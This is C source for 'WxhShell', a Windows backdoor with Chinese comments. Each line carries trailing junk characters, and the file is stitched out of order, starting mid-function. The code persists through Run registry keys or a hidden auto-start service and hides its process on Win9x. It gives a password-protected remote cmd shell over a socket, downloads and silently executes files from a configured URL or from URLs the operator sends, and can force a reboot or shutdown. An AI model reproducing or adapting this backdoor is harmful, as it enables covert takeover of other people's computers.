    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); l=ZD&uK  
    if(Boot(SHUTDOWN)) _@W1?;yD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mM:%-I\$   
    else { -e"A)Bpl(  
    closesocket(wsh); :kFPPx?  
    ExitThread(0); OrwVRqW-z  
    } w[C*w\A\M  
    break; E+lr{~  
    } Jv}&8D  
  // 获取shell 51Vqbtj^  
  case 's': { "6 ~5RCZ  
    CmdShell(wsh); -iKoQkHt  
    closesocket(wsh); _ s*p$/V\  
    ExitThread(0); .><-XJ  
    break; S=\cF,Zs  
  } D -d  
  // 退出 x#gZC 1$Y  
  case 'x': { nW}jTBu_K+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <@P. 'rE  
    CloseIt(wsh); LosRjvQ:  
    break; v3]5`&3~  
    } b~r:<:;  
  // 离开 '$),i>6gJ  
  case 'q': {  TD%&9$F  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %uCsCl  
    closesocket(wsh); |Z)}-'QUJ  
    WSACleanup(); ] E:NmBN<  
    exit(1); @dx 8{oQ  
    break; U$Z<lx2P  
        } 7Mk>`4D'c  
  } k7j.VpN9  
  } *jvP4Nz)k  
| 1zfXG,R  
  // 提示信息 ]6M,s0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @yo6w}3+-  
} lv9Tq5C  
  } iD*Hh-  
e9HL)=YP  
  return; [$;cjys  
} 1\~I "$}  
Va?i#<a  
// shell模块句柄 ZZ  Hjv  
int CmdShell(SOCKET sock) +3J<vM}dy  
{ }0tHzw=#%e  
STARTUPINFO si; 4.^T~n G  
ZeroMemory(&si,sizeof(si)); #:By/9}-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xy b=7  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (Gw*x sn1  
PROCESS_INFORMATION ProcessInfo; FSm.o?>  
char cmdline[]="cmd"; '&e8;X  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); FvY=!U06  
  return 0; k1oJ<$ Q  
} DP0@x+`k  
_GFh+eS}  
// 自身启动模式 1Iy1xiP  
int StartFromService(void) mt$rjk=  
{ '%wSs,HD  
typedef struct v? OUd^  
{  %S%IW  
  DWORD ExitStatus; Hi$R"O (  
  DWORD PebBaseAddress; @6|<c  
  DWORD AffinityMask; uAqiL>y  
  DWORD BasePriority; ' )0@J`  
  ULONG UniqueProcessId; AO>b\,0Me  
  ULONG InheritedFromUniqueProcessId; U[02$gd0l  
}   PROCESS_BASIC_INFORMATION; T A0(U$ 4  
1ANFhl(l  
PROCNTQSIP NtQueryInformationProcess; y*ZA{  
:"MHmm=uU8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Li]96+C$}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (' 7$K  
df$.gP  
  HANDLE             hProcess; w%s];EE  
  PROCESS_BASIC_INFORMATION pbi; :L@n(bu RN  
tcT =a@  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); '(rD8 pc  
  if(NULL == hInst ) return 0; r{^43g?  
CgmAxcK  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); a6j& po  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); b>VV/j4!/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]J'TebP=L5  
=Y81h-  
  if (!NtQueryInformationProcess) return 0; 4>i\r  
=\|,hg)c  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %~x?C4L8  
  if(!hProcess) return 0; =PciLh  
C\;l)h_{  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "+T`{$Z=C  
'?| 1\j  
  CloseHandle(hProcess); +Wg/ O -  
>h)kbsSU0z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); bXvO+I<  
if(hProcess==NULL) return 0; `-.2Z 0  
pB\:.?.pd  
HMODULE hMod; DqT<bNR1*;  
char procName[255]; 8-NycG&)  
unsigned long cbNeeded; cz1+ XpU  
ij;NM:|Sd  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \fUX_0k9,  
z4Zm%  
  CloseHandle(hProcess); n0T|U  
S4`X^a}pY  
if(strstr(procName,"services")) return 1; // 以服务启动 ` PQQU~^  
SMD*9&,  
  return 0; // 注册表启动 .Y{x!Q"  
} v:/\; 2  
NI#]#yM+  
// 主模块 Fz';H  
int StartWxhshell(LPSTR lpCmdLine) "A"YgD#t  
{ Qy0w'L/@  
  SOCKET wsl; bf0,3~G,P  
BOOL val=TRUE; o+&Om~W  
  int port=0; JR#4{P@A  
  struct sockaddr_in door; j :B/ FL  
#55:qc>m  
  if(wscfg.ws_autoins) Install(); 4qp|g'uXT  
G(.G>8pf  
port=atoi(lpCmdLine); Ba8=nGa4KY  
oG1zPspL  
if(port<=0) port=wscfg.ws_port; WM?-BIlT=  
ioD8-  
  WSADATA data; 9Z!n!o7D  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; F0p=|W  
XDJE]2^52?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6T'UWh0S  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =DJ:LmK  
  door.sin_family = AF_INET; EN\cwa#FU  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,\iHgsZ  
  door.sin_port = htons(port); 0(wu  
(Fon!_$:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~q}L13^k  
closesocket(wsl); (g@\QdH`|  
return 1; mdEJ'];AH  
} 0|Fx Sc  
x C&IR*  
  if(listen(wsl,2) == INVALID_SOCKET) { zplv.cf#q  
closesocket(wsl); RB+Jp  
return 1; B6 (\1  
} #4O4,F>e  
  Wxhshell(wsl); (cOe*>L;  
  WSACleanup(); dEtjcId  
zp;!HP;/=  
return 0; +FqD.=8  
>-I <`y-H  
} 4T(d9y  
O*l,&5  
// 以NT服务方式启动 63Zu5b"O/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) H]R/=OYBUh  
{ GNMOHqg4  
DWORD   status = 0; [w'Q9\,p  
  DWORD   specificError = 0xfffffff; rgzra"u)  
NplyvjQN;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &M}X$k I  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5OI.Ka  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; isL zgN%  
  serviceStatus.dwWin32ExitCode     = 0; q7Hf7^a  
  serviceStatus.dwServiceSpecificExitCode = 0; _x<NGIz  
  serviceStatus.dwCheckPoint       = 0; g77M5(ME  
  serviceStatus.dwWaitHint       = 0; sQ#e 2  
= 0d|F 8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); n8<?<-2  
  if (hServiceStatusHandle==0) return; 9)1Ye  
j+gxn_E  
status = GetLastError(); =|z:wlOs  
  if (status!=NO_ERROR) ]##aAh-P4&  
{ hU""YP ~y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9KU&M"Yq&i  
    serviceStatus.dwCheckPoint       = 0; /ovVS6Ai  
    serviceStatus.dwWaitHint       = 0; ^qR|lA@=\  
    serviceStatus.dwWin32ExitCode     = status; 4n1g4c-   
    serviceStatus.dwServiceSpecificExitCode = specificError; _M`ZF*o=c  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); "iK= 8  
    return; q-<DYVG+  
  } 4tZ*%!I'  
?Tc#[B  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :E.a.-  
  serviceStatus.dwCheckPoint       = 0; !.,wg'\P  
  serviceStatus.dwWaitHint       = 0; />S^`KSTM  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -j3Lgm  
} CK7([>2  
xc#t8`  
// 处理NT服务事件,比如:启动、停止 N x&/p$d  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~|} ]  
{ ^f! M"@  
switch(fdwControl) 9-c3@ >v  
{ r&E gP  
case SERVICE_CONTROL_STOP: =%7drBoD  
  serviceStatus.dwWin32ExitCode = 0; nXRa_M(z8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; L5FOlzn  
  serviceStatus.dwCheckPoint   = 0; [_'A(.  
  serviceStatus.dwWaitHint     = 0; y{hg4|\  
  { 9Y,JYc#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); GP%V(HhN  
  } }N[X<9^ Z  
  return; bXnUz?1!d  
case SERVICE_CONTROL_PAUSE: UUV5uDe>i  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (&e!u{I  
  break; fIoc)T  
case SERVICE_CONTROL_CONTINUE: 4$KDf;m@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; tS2 &S 6u  
  break; 031"D*W'i  
case SERVICE_CONTROL_INTERROGATE: {Ge{@1  
  break; UN.;w3`Oc  
}; ur}'Y^0iR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  B(;MI`  
} ?@G s7'  
/^.S nqk  
// 标准应用程序主函数  8${n}}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;-Yvi,sS+  
{ TWpw/osW  
U.<j2K um  
// 获取操作系统版本 S/`#6  
OsIsNt=GetOsVer(); ez'NHodwk2  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ZG^<<V$h  
] ]U)wg  
  // 从命令行安装 <YU?1y?V  
  if(strpbrk(lpCmdLine,"iI")) Install(); $t;:"i>  
7~XC_Yc1  
  // 下载执行文件 Z`tmuu  
if(wscfg.ws_downexe) { 1jg* DQ7L  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4,sE{%vb  
  WinExec(wscfg.ws_filenam,SW_HIDE); cz9J&Le>  
} 0~ho/_  
zzf@U&x<  
if(!OsIsNt) { E#KZZ lbx  
// 如果时win9x,隐藏进程并且设置为注册表启动 r W`7<3  
HideProc(); f7_( C0d  
StartWxhshell(lpCmdLine); k9x[( #  
} RTc@`m3 M  
else 4^W!,@W  
  if(StartFromService()) |c/=9Bb  
  // 以服务方式启动 z{W C w  
  StartServiceCtrlDispatcher(DispatchTable); u4Nh_x8\Nr  
else J 8%gC  
  // 普通方式启动 r/sSkF F  
  StartWxhshell(lpCmdLine); 2#.s{Bv  
%P0  
return 0; 0&,D&y%  
} hQ@k|3=Re  
1cK'B<5">]  
XH?//.q  
unFRfec{  
=========================================== %/Wk+r9uu  
s:tX3X  
Z<.&fZ^jS  
\\dUp>1=  
"&2 F  
R 0RxcB tG  
" ]<^2B?}  
zQyI4RHG[  
#include <stdio.h> hBX*02p   
#include <string.h> M3jUnp&  
#include <windows.h> Q6HJ+H-Ub  
#include <winsock2.h> ^K<3_D>1>  
#include <winsvc.h> "/zgh  
#include <urlmon.h> b{<?E };%  
YCDH0M  
#pragma comment (lib, "Ws2_32.lib") SI!A?34  
#pragma comment (lib, "urlmon.lib") 9A"s7iJ)  
T<B}Z11R  
#define MAX_USER   100 // 最大客户端连接数 4QA~@pBX^{  
#define BUF_SOCK   200 // sock buffer qzZ/%{Ak  
#define KEY_BUFF   255 // 输入 buffer 'f6H#V*C  
@[g7\d  
#define REBOOT     0   // 重启 DquL r+s~  
#define SHUTDOWN   1   // 关机 G(7%*@SX  
E y:68yU  
#define DEF_PORT   5000 // 监听端口 tB4mhX|\  
~$u9  
#define REG_LEN     16   // 注册表键长度 }:2##<"\t  
#define SVC_LEN     80   // NT服务名长度 ^m#tWb)f  
T [SK>z  
// 从dll定义API )$!b`u  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  T01Iu  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); OIPY,cj~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); u!K1K3T6k  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); FoetP`   
01'>[h#_n  
// wxhshell配置信息 8s)b[Z5  
struct WSCFG { ]CzK{-W  
  int ws_port;         // 监听端口 u#Ig!7iUu  
  char ws_passstr[REG_LEN]; // 口令 zr|DC] 3  
  int ws_autoins;       // 安装标记, 1=yes 0=no I> ;{BYPV  
  char ws_regname[REG_LEN]; // 注册表键名 i47LX;}  
  char ws_svcname[REG_LEN]; // 服务名 JdS,s5Z>  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 R;!,(l  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !mxH/{+|n  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 BEOPZ[Q|c  
int ws_downexe;       // 下载执行标记, 1=yes 0=no O^cC+@l!4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" qnp}#BZ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 n<C] 6H  
<L]Gk]k_R  
}; ?0; 2ct  
R,BJr y  
// default Wxhshell configuration Z[nHo'  
struct WSCFG wscfg={DEF_PORT, p}QDX*/sSu  
    "xuhuanlingzhe",  WwB_L.{  
    1, [OCjYC`  
    "Wxhshell", 5mZ2CDV  
    "Wxhshell", TLsF c^X  
            "WxhShell Service", {5Bj*m5  
    "Wrsky Windows CmdShell Service", q}t]lD %C  
    "Please Input Your Password: ", GTR*3,rw  
  1, h[>pC"s?K  
  "http://www.wrsky.com/wxhshell.exe", KA?}o^-F  
  "Wxhshell.exe" 86{>X5+  
    }; j,i9,oF6]  
vxZ'-&;t  
// 消息定义模块 *:n7B\.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; f]r*;YEc4  
char *msg_ws_prompt="\n\r? for help\n\r#>"; P*6m~`"5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; "OenYiz  
char *msg_ws_ext="\n\rExit."; F1.Xk1y%  
char *msg_ws_end="\n\rQuit."; \ivxi<SR  
char *msg_ws_boot="\n\rReboot..."; C][$0  
char *msg_ws_poff="\n\rShutdown..."; fB+h( 2N~  
char *msg_ws_down="\n\rSave to "; -~]H5er`  
Mc,|C)  
char *msg_ws_err="\n\rErr!"; O.+J%],  
char *msg_ws_ok="\n\rOK!"; ZPH_s^  
2p&$bf t  
char ExeFile[MAX_PATH]; @*y4uI6&  
int nUser = 0; [`@M!G.  
HANDLE handles[MAX_USER]; 7su2A>Ix  
int OsIsNt; q TJ0}F  
M#gxi N  
SERVICE_STATUS       serviceStatus; "%Ok3Rvv  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ." xP {  
m8L *LB  
// 函数声明 KM;H '~PZi  
int Install(void); ,1{qZ(l1  
int Uninstall(void); a]r+np]vTy  
int DownloadFile(char *sURL, SOCKET wsh); t)&U'^  
int Boot(int flag); 3Z" ;a  
void HideProc(void); ?+Gt?-! 5q  
int GetOsVer(void); &b|RoPV  
int Wxhshell(SOCKET wsl); vQ}ZfP  
void TalkWithClient(void *cs); x#`p.sfVo  
int CmdShell(SOCKET sock); :xr^E]  
int StartFromService(void); 7GO9z<m)  
int StartWxhshell(LPSTR lpCmdLine); _|u}^MLO  
AJ}FHym_ZQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); v/ N[)<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Ro]Z9C>1o  
`-{l$Hn9|~  
// 数据结构和表定义 *,z/q6  
SERVICE_TABLE_ENTRY DispatchTable[] = s>/Xb2\  
{ R$awo/'^  
{wscfg.ws_svcname, NTServiceMain}, YIRe__7-NU  
{NULL, NULL} _-C/s p^   
}; G*4I;'6  
c K\   
// 自我安装 x eFx!$3  
int Install(void) ee? d ?:L  
{ >8"(go+02  
  char svExeFile[MAX_PATH]; FygNWI'  
  HKEY key; >pp/4Ia!  
  strcpy(svExeFile,ExeFile); ycBgr,Ynu<  
3JGrJ!x  
// 如果是win9x系统,修改注册表设为自启动 D\_nqx9O  
if(!OsIsNt) { 3WP\MM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RFRXOyGz$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?xqS#^Z  
  RegCloseKey(key); !+eU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !K(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8|zavH#P  
  RegCloseKey(key); n$C- ^3 c  
  return 0; nriSVGi  
    } OdFF)-K >~  
  } i(|u g_^  
} a(vt"MQ_  
else { IVPN=jg?  
q'8*bu_  
// 如果是NT以上系统,安装为系统服务 Rj";?.R*e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 71@ eJQ  
if (schSCManager!=0) .jD!+wv{9  
{ R%szN.cI  
  SC_HANDLE schService = CreateService  oYN"L  
  ( _\4#I(  
  schSCManager, :2KHiT5  
  wscfg.ws_svcname, =H)]HxEEM  
  wscfg.ws_svcdisp, d'96$e o~  
  SERVICE_ALL_ACCESS, BSMb(EnqX  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Led\S;pl  
  SERVICE_AUTO_START, '! ^7 *@z  
  SERVICE_ERROR_NORMAL, 2L&c91=wE  
  svExeFile, lW?}Ts ~'  
  NULL, q7lC}'2fu  
  NULL, _G'ki.[S7  
  NULL, e#/&A5#Ya  
  NULL, QwX81*nx  
  NULL Zy+ERaF|]  
  ); EK4%4<"  
  if (schService!=0) 8vuTF*{yZ  
  { o6A$)m5V  
  CloseServiceHandle(schService); hM]Z T5;<  
  CloseServiceHandle(schSCManager); H/{@eaV  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); y^ skE{  
  strcat(svExeFile,wscfg.ws_svcname); /C8}5)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { zd5=W"Y;]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2FuV%\p  
  RegCloseKey(key); /}6I3n  
  return 0; B/l^=u+-  
    } n,FyK`x  
  } o:{Sws(=  
  CloseServiceHandle(schSCManager); dI\_I]  
} ^"7- `<J  
} 8p 4[:M@  
1*p6UR&  
return 1; = z mxki  
} >fYcr#i0[  
(H uvo9  
// 自我卸载 ]<<,{IQ  
int Uninstall(void) v'?Smd1v /  
{ 9KX% O-'  
  HKEY key; B(M-;F  
`F/R:!v  
if(!OsIsNt) { E "=4(   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  +#,J`fV%  
  RegDeleteValue(key,wscfg.ws_regname); Z5TA4Q+Q  
  RegCloseKey(key); Rf0so   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { we _CF*zj  
  RegDeleteValue(key,wscfg.ws_regname); ]AA|BeL?|  
  RegCloseKey(key); d2eXN3"  
  return 0; XB!qPh .  
  } C"kfxpCi  
} 6qDt 6uB  
} %!t9)pNc  
else { r5xm7- `c  
X`_tm3HC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !@lx|= #  
if (schSCManager!=0) a!bW^?PcK  
{ U Y*`R  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); bXJ(QXHd%  
  if (schService!=0) d_we?DZ|  
  { a_!H_J  
  if(DeleteService(schService)!=0) { N & b3cV  
  CloseServiceHandle(schService); y]t19G+  
  CloseServiceHandle(schSCManager); JRC2+BU /  
  return 0; w=fWW^>bP  
  } 2z{B  
  CloseServiceHandle(schService); N4;g"k b  
  } ,j XK  
  CloseServiceHandle(schSCManager); O>~@>/#  
} Q>4NUq  
} 2&*#k  
%ud-3u52M8  
return 1; =iB[sLEJ  
} kk`K;`[tB  
LT$t%V0?.e  
// 从指定url下载文件 E] g Lwg9K  
int DownloadFile(char *sURL, SOCKET wsh) B Evt{q4  
{ Njg87tKB  
  HRESULT hr; K/B$1+O  
char seps[]= "/"; [_%u5sc-y  
char *token; X~& 8^?  
char *file; Vj4 h#NN$  
char myURL[MAX_PATH]; 564L.^$@|  
char myFILE[MAX_PATH]; />E ILPPb  
!4Zy$69R  
strcpy(myURL,sURL); _w\i~To!  
  token=strtok(myURL,seps); *Zg=cI@)(  
  while(token!=NULL) 7yu-xnt3s  
  { B?&0NpVD  
    file=token; JYj*.Q0  
  token=strtok(NULL,seps); e 1XKlgl  
  } tXA?[ S  
\dU.#^ryp  
GetCurrentDirectory(MAX_PATH,myFILE); 9IXy96]]6  
strcat(myFILE, "\\"); 8nBYP+t,e  
strcat(myFILE, file); #Hr'plg 8  
  send(wsh,myFILE,strlen(myFILE),0); s:l H4B  
send(wsh,"...",3,0); y@v)kN)Y9\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {HY3E}YJL  
  if(hr==S_OK) <ot`0  
return 0; [*O>Lk  
else muXP5MO  
return 1; ch%zu%;f  
G9-ETj}  
} S-mpob)  
H.|I|XRG/  
// 系统电源模块 BegO\0%+  
int Boot(int flag) MR,I`9Pe  
{ NV?x<LNWd  
  HANDLE hToken; e46`"}r  
  TOKEN_PRIVILEGES tkp; |pZ7k#%  
]8wm1_qV  
  if(OsIsNt) { PeIi@0vA  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Lk]|;F-2i  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9h+Hd&=  
    tkp.PrivilegeCount = 1; ,j>FC j>  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + a*Ic8*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >Z*b0j  
if(flag==REBOOT) { ZDaHR-%Y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) d)U(XiK'  
  return 0; | eCVq(R  
} UTE6U6  
else { 4jDi3MMU9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) yw:%)b{  
  return 0; xU%]G .k  
} 6<@+J  
  } 9c4p9b!  
  else { >lM/\HO2  
if(flag==REBOOT) { {hN\=_6*EW  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) m4h)Wq  
  return 0; An#[ +?  
} Y?1T XsvF  
else { ZzBaYoNy[0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) +}at#%1@  
  return 0; _;^x^  
} Oto8?4[n  
} O7IYg;  
g&$5!ifgi  
return 1; KsTGae;ds  
} q p}2  
HfH+U&  
// win9x进程隐藏模块  1H.;r(c  
void HideProc(void) ~]no7O4  
{ ^W=hs9a+F  
/L2ZI1v  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); KM )MUPr  
  if ( hKernel != NULL ) cXt&k  
  { |1 qrU(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !XjZt  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <t!0{FJ  
    FreeLibrary(hKernel); %"c;kvw  
  } Mu:zWLM*M  
?r(vXq\  
return; &S*{a  
} |O)ZjLx  
B>'J5bZsw  
// 获取操作系统版本 mpD.x5jm<  
int GetOsVer(void) h`! 4`eI  
{ GGwwdB\x'  
  OSVERSIONINFO winfo; Yur}<>`(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); D@ sMCR  
  GetVersionEx(&winfo); n%\\1  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) K!(WcoA&2i  
  return 1; C$q-WoTM(  
  else a}` M[%d7  
  return 0; 4e\wC  
} fA?Wf[`x  
4MDVR/Z7  
// 客户端句柄模块 'HfI~wN  
int Wxhshell(SOCKET wsl) [7x;H  
{ xS/=9l/G  
  SOCKET wsh; X`&Us  
  struct sockaddr_in client; V6ECL6n  
  DWORD myID; q2|z \  
JcP<@bb>B  
  while(nUser<MAX_USER) HL[V}m  
{ S.iUiS"  
  int nSize=sizeof(client); `ba<eT':  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >o p/<?<  
  if(wsh==INVALID_SOCKET) return 1; NR&a er  
X`v6gv5qj  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (/&ht-~EL  
if(handles[nUser]==0) Q ijO%)  
  closesocket(wsh); Qu<HeSA_  
else 8Rw:SU9H?T  
  nUser++; zN9@.!?X2  
  } MwD+'5   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &{WEtaXaa  
7 v3%dCvf  
  return 0; aB G*  
} z,C>Rh9Id  
b; ;y|H  
// 关闭 socket 6,CK1j+tZ  
void CloseIt(SOCKET wsh) Yx. t+a-  
{ #0*I|gfV  
closesocket(wsh); n|=yw6aV'  
nUser--; b!SIs*  
ExitThread(0); "/^kFsvp  
} s#0m  
j;Lp@~M  
// 客户端请求句柄 biV|W@JM  
void TalkWithClient(void *cs) #Sg/  
{ FDFVhcr  
e6jdSn  
  SOCKET wsh=(SOCKET)cs; xXV15%&  
  char pwd[SVC_LEN]; b0%#=KMi  
  char cmd[KEY_BUFF]; `+KLE(]vyH  
char chr[1]; WV|9d}5  
int i,j; YE"MtL {  
c7?|Tipc  
  while (nUser < MAX_USER) { RvVF^~u  
@ *T8>  
if(wscfg.ws_passstr) { 3e;K5qSeo/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (|6!pQ7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7S&O {Q7)  
  //ZeroMemory(pwd,KEY_BUFF); [)[?FG9   
      i=0; +C`vO5\0  
  while(i<SVC_LEN) { {iLr$ 89  
RKs_k`N0  
  // 设置超时 .$G^c   
  fd_set FdRead; =`(\]t"I  
  struct timeval TimeOut; aQ 6T2bQ  
  FD_ZERO(&FdRead); hA~5,K0b  
  FD_SET(wsh,&FdRead); aC'#H8e|j  
  TimeOut.tv_sec=8; CS"k0V44}  
  TimeOut.tv_usec=0; 1*@Q~f:Uk  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); G in  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \=W t{  
{2|sk9?W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5= MM^$QG  
  pwd=chr[0]; oFGgr2Re  
  if(chr[0]==0xd || chr[0]==0xa) { : SD3  
  pwd=0; 6Vu??qBy  
  break; @yPI$"Ma  
  } V3pn@'pr  
  i++; =8qhK=&]  
    } Mr K?,7*Xi  
{\!@ k\__  
  // 如果是非法用户,关闭 socket ol4!#4Y&{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); '(($dT  
} U@:iN..  
BS3BJwf; f  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); T:j!a{_|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pHDPj,lu  
uUpOa+t  
while(1) { ~65lDFY/  
]7dal [i  
  ZeroMemory(cmd,KEY_BUFF); \l;H !y[  
D>q?My  
      // 自动支持客户端 telnet标准   ;}4e+`fF|  
  j=0; 1\,wV,  
  while(j<KEY_BUFF) { g5&,l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dI8y}EbE~  
  cmd[j]=chr[0]; f9E.X\"  
  if(chr[0]==0xa || chr[0]==0xd) { bzMs\rj\  
  cmd[j]=0; "l09Ae'V  
  break; w+ibY  
  } YC~kq?  
  j++; p7)b@,  
    } :}w^-I"  
QN m.8c$  
  // 下载文件 \?.M1a[  
  if(strstr(cmd,"http://")) { Uefw  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?K?v64[  
  if(DownloadFile(cmd,wsh)) h@ ?BA<'S  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); QW%BKF!  
  else [@t 6,g  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3WdANR  
  } Ed~2Qr\65  
